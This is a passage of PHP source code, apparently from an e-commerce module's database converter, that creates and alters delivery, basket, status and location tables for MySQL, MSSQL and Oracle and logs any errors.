								XML_ID VARCHAR2(255 CHAR) NULL,
								DELIVERY_NAME VARCHAR2(128 CHAR) NULL,
								CANCELED CHAR(1 CHAR) DEFAULT 'N' NULL,
								DATE_CANCELED DATE NULL,
								EMP_CANCELED_ID NUMBER(18) NULL,
								REASON_CANCELED VARCHAR2(255 CHAR) DEFAULT '' NULL,
								MARKED CHAR(1 CHAR) NULL,
								DATE_MARKED DATE NULL,
								EMP_MARKED_ID NUMBER(18) NULL,
								REASON_MARKED VARCHAR2(255 CHAR) NULL,
								CURRENCY VARCHAR2(3 CHAR) NULL,
								SYSTEM CHAR(1 CHAR) DEFAULT 'N' NOT NULL,
								RESPONSIBLE_ID NUMBER(18) NULL,
								EMP_RESPONSIBLE_ID NUMBER(18) NULL,
								DATE_RESPONSIBLE_ID DATE NULL,
								COMMENTS CLOB,
								DISCOUNT_PRICE DECIMAL(18,4) NULL,
								COMPANY_ID NUMBER(18) NULL,
								TRACKING_STATUS NUMBER(18) NULL,
								TRACKING_DESCRIPTION VARCHAR2(255 CHAR) NULL,
								TRACKING_LAST_CHECK DATE NULL,
								TRACKING_LAST_CHANGE DATE NULL,								
								PRIMARY KEY (ID)
							)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_BSOD_ORDER_ID ON B_SALE_ORDER_DELIVERY(ORDER_ID)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_DELIVERY INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_ORDER_DELIVERY_INSERT
								BEFORE INSERT
								ON B_SALE_ORDER_DELIVERY
								FOR EACH ROW
								BEGIN
									IF :NEW.ID IS NULL THEN
								        SELECT SQ_B_SALE_ORDER_DELIVERY.NEXTVAL INTO :NEW.ID FROM dual;
									END IF;
								END;'
						);

						// $DB->Query("CREATE UNIQUE INDEX IXS_DLV_ACCOUNT_NUMBER ON B_SALE_ORDER_DELIVERY(ACCOUNT_NUMBER)", false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 7: B_SALE_ORDER_DELIVERY",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_order_delivery_es"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_order_delivery_es(
							ID INT NOT NULL AUTO_INCREMENT,
							SHIPMENT_ID INT NOT NULL,
							EXTRA_SERVICE_ID INT NOT NULL,
							VALUE VARCHAR (255) NULL,
							PRIMARY KEY (ID),
							INDEX IX_BSOD_ES_SHIPMENT_ID(SHIPMENT_ID),
							INDEX IX_BSOD_ES_EXTRA_SERVICE_ID(EXTRA_SERVICE_ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_DELIVERY_ES
						(
							ID INT NOT NULL IDENTITY(1,1),
							SHIPMENT_ID INT NOT NULL,
							EXTRA_SERVICE_ID INT NOT NULL,
							VALUE VARCHAR(255) NULL
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_ORDER_DELIVERY_ES ADD CONSTRAINT PK_B_SALE_ORDER_DELIVERY_ES PRIMARY KEY(ID)", false);
						$DB->Query("CREATE UNIQUE INDEX IX_BSOD_ES_SHIPMENT_ID ON B_SALE_ORDER_DELIVERY_ES(SHIPMENT_ID)", false);
						$DB->Query("CREATE UNIQUE INDEX IX_BSOD_ES_EXTRA_SERVICE_ID ON B_SALE_ORDER_DELIVERY_ES(EXTRA_SERVICE_ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_DELIVERY_ES
									(
										ID NUMBER(18) NOT NULL,
										SHIPMENT_ID NUMBER(18) NOT NULL,
										EXTRA_SERVICE_ID NUMBER(18) NOT NULL,
										VALUE VARCHAR2(255 CHAR) NULL,
										PRIMARY KEY (ID)
									)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query('CREATE SEQUENCE SQ_B_SALE_ORDER_DELIVERY_ES INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER', false);
						$DB->Query("
								CREATE OR REPLACE TRIGGER B_SALE_ORDER_DELIVERY_ES_INS
								BEFORE INSERT
								ON B_SALE_ORDER_DELIVERY_ES
								FOR EACH ROW
								BEGIN
									IF :NEW.ID IS NULL THEN
										SELECT SQ_B_SALE_ORDER_DELIVERY_ES.NEXTVAL INTO :NEW.ID FROM dual;
									END IF;
								END;
								", false);
						$DB->Query("CREATE INDEX IX_BSOD_ES_SHIPMENT_ID ON B_SALE_ORDER_DELIVERY_ES (SHIPMENT_ID)", false);
						$DB->Query('CREATE INDEX IX_BSOD_ES_EXTRA_SERVICE_ID ON B_SALE_ORDER_DELIVERY_ES (EXTRA_SERVICE_ID)', false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 7: B_SALE_ORDER_DELIVERY_ES",
						"DESCRIPTION" => $error,
					));
				}
			}

			if (!$DB->TableExists("b_sale_order_dlv_basket"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("CREATE TABLE b_sale_order_dlv_basket(
							ID INT(11) NOT NULL AUTO_INCREMENT,
							ORDER_DELIVERY_ID INT(11) NOT NULL,
							BASKET_ID INT(11) NOT NULL,
							DATE_INSERT DATETIME NOT NULL,
							QUANTITY DECIMAL(18,4) NOT NULL,
							RESERVED_QUANTITY DECIMAL(18,4) NOT NULL,
							PRIMARY KEY (ID),
							INDEX IX_BSODB_ORDER_DELIVERY_ID (ORDER_DELIVERY_ID),
							INDEX IX_S_O_DB_BASKET_ID (BASKET_ID) 
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_DLV_BASKET(
							ID INT NOT NULL IDENTITY(1, 1),
							ORDER_DELIVERY_ID INT NOT NULL,
							BASKET_ID INT NOT NULL,
							DATE_INSERT DATETIME NOT NULL,
							QUANTITY DECIMAL(18,4) NOT NULL,
							RESERVED_QUANTITY DECIMAL(18,4) NOT NULL,
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_ORDER_DLV_BASKET ADD CONSTRAINT PK_B_SALE_ORDER_DLV_BASKET PRIMARY KEY (ID)", false);
						$DB->Query("CREATE INDEX IX_BSODB_ORDER_DELIVERY_ID ON B_SALE_ORDER_DLV_BASKET(ORDER_DELIVERY_ID)", false);
						$DB->Query("CREATE INDEX IX_S_O_DB_BASKET_ID ON B_SALE_ORDER_DLV_BASKET(BASKET_ID) ", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_ORDER_DLV_BASKET(
							ID NUMBER(18) NOT NULL,
							ORDER_DELIVERY_ID NUMBER(18) NOT NULL,
							BASKET_ID NUMBER(18) NOT NULL,
							DATE_INSERT DATE NOT NULL,
							QUANTITY DECIMAL(18,4) NOT NULL,
							RESERVED_QUANTITY DECIMAL(18,4) NOT NULL,
							PRIMARY KEY (ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("CREATE INDEX IX_BSODB_ORDER_DELIVERY_ID ON B_SALE_ORDER_DLV_BASKET(ORDER_DELIVERY_ID)", false);
						
						$DB->Query("CREATE INDEX IX_S_O_DB_BASKET_ID ON B_SALE_ORDER_DLV_BASKET(BASKET_ID)", false);

						$DB->Query("CREATE SEQUENCE SQ_B_SALE_ORDER_DLV_BASKET INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER", false);
						$DB->Query("CREATE OR REPLACE TRIGGER B_SALE_ORDER_DLV_BASKET_INSERT
									BEFORE INSERT
									ON B_SALE_ORDER_DLV_BASKET
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
											SELECT SQ_B_SALE_ORDER_DLV_BASKET.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;", true
						);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 7: B_SALE_ORDER_DLV_BASKET",
						"DESCRIPTION" => $error,
					));
				}
			}

			if(!$DB->TableExists("b_sale_delivery_rstr"))
			{
				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query("create table b_sale_delivery_rstr
						(
							ID int NOT NULL AUTO_INCREMENT,
							DELIVERY_ID int NOT NULL,
							SORT int DEFAULT 100,
							CLASS_NAME varchar(255) NOT NULL,
							PARAMS  text,
							primary key (ID),
							INDEX IX_BSDR_DELIVERY_ID(DELIVERY_ID)
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
				}
				elseif ($DB->type == "MSSQL")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_DELIVERY_RSTR
						(
							ID INT NOT NULL IDENTITY(1,1),
							DELIVERY_ID INT NOT NULL,
							SORT INT DEFAULT 100,
							CLASS_NAME VARCHAR(255) NOT NULL,
							PARAMS TEXT NULL
						)", false)
					)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query("ALTER TABLE B_SALE_DELIVERY_RSTR ADD CONSTRAINT PK_B_SALE_DELIVERY_RSTR PRIMARY KEY (ID)", false);
						$DB->Query("CREATE INDEX IX_BSDR_DELIVERY_ID ON B_SALE_DELIVERY_RSTR(DELIVERY_ID)", false);
					}
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("CREATE TABLE B_SALE_DELIVERY_RSTR
						(
							ID NUMBER(18) NOT NULL,
							DELIVERY_ID NUMBER(18) NOT NULL,
							SORT NUMBER(11) DEFAULT 100 NOT NULL,
							CLASS_NAME VARCHAR2(255 CHAR) NULL,
							PARAMS VARCHAR2(4000 CHAR) NULL,
							PRIMARY KEY (ID)
						)", false)
						)
					{
						$error .= "<br>".$DB->GetErrorMessage();
					}
					else
					{
						$DB->Query('CREATE SEQUENCE SQ_B_SALE_DELIVERY_RSTR INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER', false);
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_DELIVERY_RSTR_INSERT
							BEFORE INSERT
							ON B_SALE_DELIVERY_RSTR
							FOR EACH ROW
							BEGIN
								IF :NEW.ID IS NULL THEN
									SELECT SQ_B_SALE_DELIVERY_RSTR.NEXTVAL INTO :NEW.ID FROM dual;
								END IF;
							END;', true
						);

						$DB->Query('CREATE INDEX IX_BSDR_DELIVERY_ID ON B_SALE_DELIVERY_RSTR (DELIVERY_ID)', false);
					}
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 7: B_SALE_DELIVERY_RSTR",
						"DESCRIPTION" => $error,
					));
				}
			}
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_OTHER_ALTERS');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_DELIVERY');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;			
		case 8:
			// OTHERS ALTERS
			if ($DB->TableExists("b_sale_store_barcode"))
			{
				if (!$DB->Query("select ORDER_DELIVERY_BASKET_ID from b_sale_store_barcode WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_store_barcode ADD COLUMN ORDER_DELIVERY_BASKET_ID INT(11) NOT NULL DEFAULT 0", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
						else
						{
							$DB->Query("CREATE INDEX IX_BSSB_O_DLV_BASKET_ID ON b_sale_store_barcode (ORDER_DELIVERY_BASKET_ID)", false);
						}
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STORE_BARCODE ADD ORDER_DELIVERY_BASKET_ID INT NOT NULL DEFAULT 0", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
						else
						{
							$DB->Query("CREATE INDEX IX_BSSB_O_DLV_BASKET_ID ON b_sale_store_barcode(ORDER_DELIVERY_BASKET_ID)", false);
						}
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STORE_BARCODE ADD ORDER_DELIVERY_BASKET_ID NUMBER(18) DEFAULT 0 NOT NULL", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
						else
						{
							$DB->Query("CREATE INDEX IX_BSSB_O_DLV_BASKET_ID ON b_sale_store_barcode (ORDER_DELIVERY_BASKET_ID)", false);
						}
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 8: B_SALE_STORE_BARCODE.ORDER_DELIVERY_BASKET_ID",
							"DESCRIPTION" => $error,
						));
					}
				}
			}

			if ($DB->TableExists("b_sale_status"))
			{
				if ($DB->Query("SELECT ID FROM b_sale_status WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_status CHANGE ID ID varchar(2) NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						$DB->Query("ALTER TABLE b_sale_status DROP CONSTRAINT PK_B_SALE_STATUS", false);

						if (!$DB->Query("ALTER TABLE B_SALE_STATUS ALTER COLUMN ID VARCHAR(2) NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();

						if (!$DB->Query("UPDATE B_SALE_STATUS SET ID = LTRIM(RTRIM(ID))", true))
							$error .= "<br>".$DB->GetErrorMessage();

						$DB->Query("ALTER TABLE b_sale_status ADD CONSTRAINT PK_B_SALE_STATUS PRIMARY KEY (ID)", false);
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STATUS MODIFY ID varchar2(2 char)", true))
							$error .= "<br>".$DB->GetErrorMessage();

						if (!$DB->Query("UPDATE B_SALE_STATUS SET ID = TRIM(ID)", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 8: B_SALE_STATUS.ID",
							"DESCRIPTION" => $error,
						));
					}
				}

				if (!$DB->Query("SELECT TYPE FROM b_sale_status WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_status ADD TYPE char(1) not null default 'O'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STATUS ADD TYPE char(1) not null CONSTRAINT DF_B_SALE_STATUS_TYPE DEFAULT 'O'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STATUS ADD TYPE char(1 char) default 'O' NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 8: B_SALE_STATUS.TYPE",
							"DESCRIPTION" => $error,
						));
					}
				}

				if (!$DB->Query("SELECT NOTIFY FROM b_sale_status WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_status ADD NOTIFY char(1) not null default 'Y'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STATUS ADD NOTIFY char(1) not null CONSTRAINT DF_B_SALE_STATUS_NOTIFY DEFAULT 'Y'", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STATUS ADD NOTIFY char(1 char) default 'Y' NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 8: B_SALE_STATUS.NOTIFY",
							"DESCRIPTION" => $error,
						));
					}
				}
			}

			if ($DB->TableExists("b_sale_order_history"))
			{
				if ($DB->Query("SELECT STATUS_ID FROM b_sale_order_history WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_history CHANGE STATUS_ID STATUS_ID varchar(2) not null", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						$DB->Query("ALTER TABLE b_sale_order_history DROP CONSTRAINT PK_B_SALE_ORDER_HISTORY", false);

						if (!$DB->Query("ALTER TABLE b_sale_order_history ALTER COLUMN STATUS_ID VARCHAR(2) NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();

						if (!$DB->Query("UPDATE B_SALE_ORDER_HISTORY SET STATUS_ID = LTRIM(RTRIM(STATUS_ID))", true))
							$error .= "<br>".$DB->GetErrorMessage();

						$DB->Query("ALTER TABLE b_sale_order_history ADD CONSTRAINT PK_B_SALE_ORDER_HISTORY PRIMARY KEY (ID)", false);
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE b_sale_order_history MODIFY STATUS_ID VARCHAR2(2 char)", true))
							$error .= "<br>".$DB->GetErrorMessage();

						if (!$DB->Query("UPDATE B_SALE_ORDER_HISTORY SET STATUS_ID = TRIM(STATUS_ID)", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 8: B_SALE_ORDER_HISTORY.STATUS_ID",
							"DESCRIPTION" => $error,
						));
					}
				}
			}
			
			if ($DB->TableExists("b_sale_status_lang"))
			{
				if ($DB->Query("SELECT STATUS_ID FROM b_sale_status_lang WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE b_sale_status_lang CHANGE STATUS_ID STATUS_ID varchar(2) not null", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}
					elseif ($DB->type == "MSSQL")
					{
						$DB->Query("ALTER TABLE B_SALE_STATUS_LANG DROP CONSTRAINT PK_B_SALE_STATUS_LANG", false);

						if (!$DB->Query("ALTER TABLE B_SALE_STATUS_LANG ALTER COLUMN STATUS_ID VARCHAR(2) NOT NULL", true))
							$error .= "<br>".$DB->GetErrorMessage();

						if (!$DB->Query("UPDATE B_SALE_STATUS_LANG SET STATUS_ID = LTRIM(RTRIM(STATUS_ID))", true))
							$error .= "<br>".$DB->GetErrorMessage();

						$DB->Query("ALTER TABLE B_SALE_STATUS_LANG ADD CONSTRAINT PK_B_SALE_STATUS_LANG PRIMARY KEY (STATUS_ID, LID)", false);
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_STATUS_LANG MODIFY STATUS_ID VARCHAR2(2 CHAR)", true))
							$error .= "<br>".$DB->GetErrorMessage();

						if (!$DB->Query("UPDATE B_SALE_STATUS_LANG SET STATUS_ID = TRIM(STATUS_ID)", true))
							$error .= "<br>".$DB->GetErrorMessage();
					}

					if (!empty($error))
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "STEP 8: B_SALE_STATUS_LANG.STATUS_ID",
							"DESCRIPTION" => $error,
						));
					}
				}
			}

			if ($DB->type == "MYSQL")
			{
				if ($DB->TableExists("b_sale_loc_type"))
				{
					if (!$DB->Query("SELECT DISPLAY_SORT FROM b_sale_loc_type WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE b_sale_loc_type ADD DISPLAY_SORT int default '100'", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
							
							\CEventLog::Add(array(
								"SEVERITY" => "ERROR",
								"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
								"MODULE_ID" => "sale",
								"ITEM_ID" => "STEP 8: b_sale_loc_type.DISPLAY_SORT",
								"DESCRIPTION" => $error,
							));
						}
					}
				}
			}

			if ($DB->type == "MSSQL")
			{
				if ($DB->TableExists("B_SALE_LOC_TYPE"))
				{
					if (!$DB->Query("SELECT DISPLAY_SORT FROM B_SALE_LOC_TYPE WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_LOC_TYPE ADD DISPLAY_SORT int", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
							
							\CEventLog::Add(array(
								"SEVERITY" => "ERROR",
								"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
								"MODULE_ID" => "sale",
								"ITEM_ID" => "STEP 8: B_SALE_LOC_TYPE.DISPLAY_SORT",
								"DESCRIPTION" => $error,
							));
						}

						if (!$DB->Query("ALTER TABLE B_SALE_LOC_TYPE ADD CONSTRAINT DF_B_SALE_LOC_TYPE_D_SORT DEFAULT '100' FOR DISPLAY_SORT", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
							
							\CEventLog::Add(array(
								"SEVERITY" => "ERROR",
								"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
								"MODULE_ID" => "sale",
								"ITEM_ID" => "STEP 8: CONSTRAINT B_SALE_LOC_TYPE",
								"DESCRIPTION" => $error,
							));
						}
					}
				}
			}
			
			if ($DB->type == "ORACLE")
			{
				if ($DB->TableExists("B_SALE_LOC_TYPE"))
				{
					if (!$DB->Query("SELECT DISPLAY_SORT FROM B_SALE_LOC_TYPE WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_LOC_TYPE ADD (DISPLAY_SORT NUMBER(18) DEFAULT '100')", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
							
							\CEventLog::Add(array(
								"SEVERITY" => "ERROR",
								"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
								"MODULE_ID" => "sale",
								"ITEM_ID" => "STEP 8: B_SALE_LOC_TYPE.DISPLAY_SORT",
								"DESCRIPTION" => $error,
							));
						}

					}
				}
			}

			if ($DB->TableExists("B_SALE_LOC_TYPE"))
			{
				if(!$DB->Query("UPDATE b_sale_loc_type SET DISPLAY_SORT = '700' WHERE CODE = 'COUNTRY'", true))
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: DISPLAY_SORT=700",
						"DESCRIPTION" => $error,
					));
				}
				if(!$DB->Query("UPDATE b_sale_loc_type SET DISPLAY_SORT = '600' WHERE CODE = 'COUNTRY_DISTRICT'", true))
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: DISPLAY_SORT=600",
						"DESCRIPTION" => $error,
					));
				}
				
				if(!$DB->Query("UPDATE b_sale_loc_type SET DISPLAY_SORT = '500' WHERE CODE = 'REGION'", true))
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: DISPLAY_SORT=500",
						"DESCRIPTION" => $error,
					));
				}

				if(!$DB->Query("UPDATE b_sale_loc_type SET DISPLAY_SORT = '400' WHERE CODE = 'SUBREGION'", true))
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: DISPLAY_SORT=400",
						"DESCRIPTION" => $error,
					));
				}

				if(!$DB->Query("UPDATE b_sale_loc_type SET DISPLAY_SORT = '100' WHERE CODE = 'CITY'", true))
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: DISPLAY_SORT=100",
						"DESCRIPTION" => $error,
					));
				}

				if(!$DB->Query("UPDATE b_sale_loc_type SET DISPLAY_SORT = '200' WHERE CODE = 'VILLAGE'", true))
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: DISPLAY_SORT=200",
						"DESCRIPTION" => $error,
					));
				}

				if(!$DB->Query("UPDATE b_sale_loc_type SET DISPLAY_SORT = '300' WHERE CODE = 'STREET'", true))
				{
					$error .= "<br>".$DB->GetErrorMessage();
					
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 8: DISPLAY_SORT=300",
						"DESCRIPTION" => $error,
					));
				}
			}

			if ($DB->TableExists("B_SALE_PAY_SYSTEM_ACTION") && $DB->type == 'ORACLE')
			{
				$dbNextVal = $DB->Query("SELECT SQ_SALE_PAY_SYSTEM_ACTION.NEXTVAL FROM DUAL", true);
				if ($dbNextVal)
				{
					$data = $dbNextVal->Fetch();
					$id = intval($data["NEXTVAL"]);

					$DB->Query('DROP SEQUENCE SQ_SALE_PAY_SYSTEM_ACTION');

					$DB->Query('CREATE SEQUENCE SQ_B_SALE_PAY_SYSTEM_ACTION START WITH '.$id.' INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER');
					$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_PS_ACTION_INSERT
								BEFORE INSERT
								ON B_SALE_PAY_SYSTEM_ACTION
								FOR EACH ROW
								BEGIN
									IF :NEW.ID IS NULL THEN
								        SELECT SQ_B_SALE_PAY_SYSTEM_ACTION.NEXTVAL INTO :NEW.ID FROM dual;
									END IF;
								END;'
					);

				}
			}

			if ($DB->TableExists("B_SALE_PAY_SYSTEM") && $DB->type == 'ORACLE')
			{
				$dbNextVal = $DB->Query("SELECT SQ_SALE_PAY_SYSTEM.NEXTVAL FROM DUAL", true);
				if ($dbNextVal)
				{
					$data = $dbNextVal->Fetch();
					$id = intval($data["NEXTVAL"]);

					$DB->Query('DROP SEQUENCE SQ_SALE_PAY_SYSTEM');

					$DB->Query('CREATE SEQUENCE SQ_B_SALE_PAY_SYSTEM START WITH '.$id.' INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER');
					$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_PAY_SYSTEM_INSERT
								BEFORE INSERT
								ON B_SALE_PAY_SYSTEM
								FOR EACH ROW
								BEGIN
									IF :NEW.ID IS NULL THEN
								        SELECT SQ_B_SALE_PAY_SYSTEM.NEXTVAL INTO :NEW.ID FROM dual;
									END IF;
								END;'
					);

				}
			}

			if ($DB->TableExists("B_SALE_ORDER_TAX"))
			{
				if ($DB->Query("SELECT VALUE FROM B_SALE_ORDER_TAX WHERE 1=0", true))
				{
					if ($DB->type == "MYSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_ORDER_TAX CHANGE VALUE VALUE DECIMAL(18,4)", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					elseif ($DB->type == "MSSQL")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_ORDER_TAX ALTER COLUMN VALUE DECIMAL(18,4)", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					elseif ($DB->type == "ORACLE")
					{
						if (!$DB->Query("ALTER TABLE B_SALE_ORDER_TAX MODIFY VALUE NUMBER(18,4)", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
				}
				
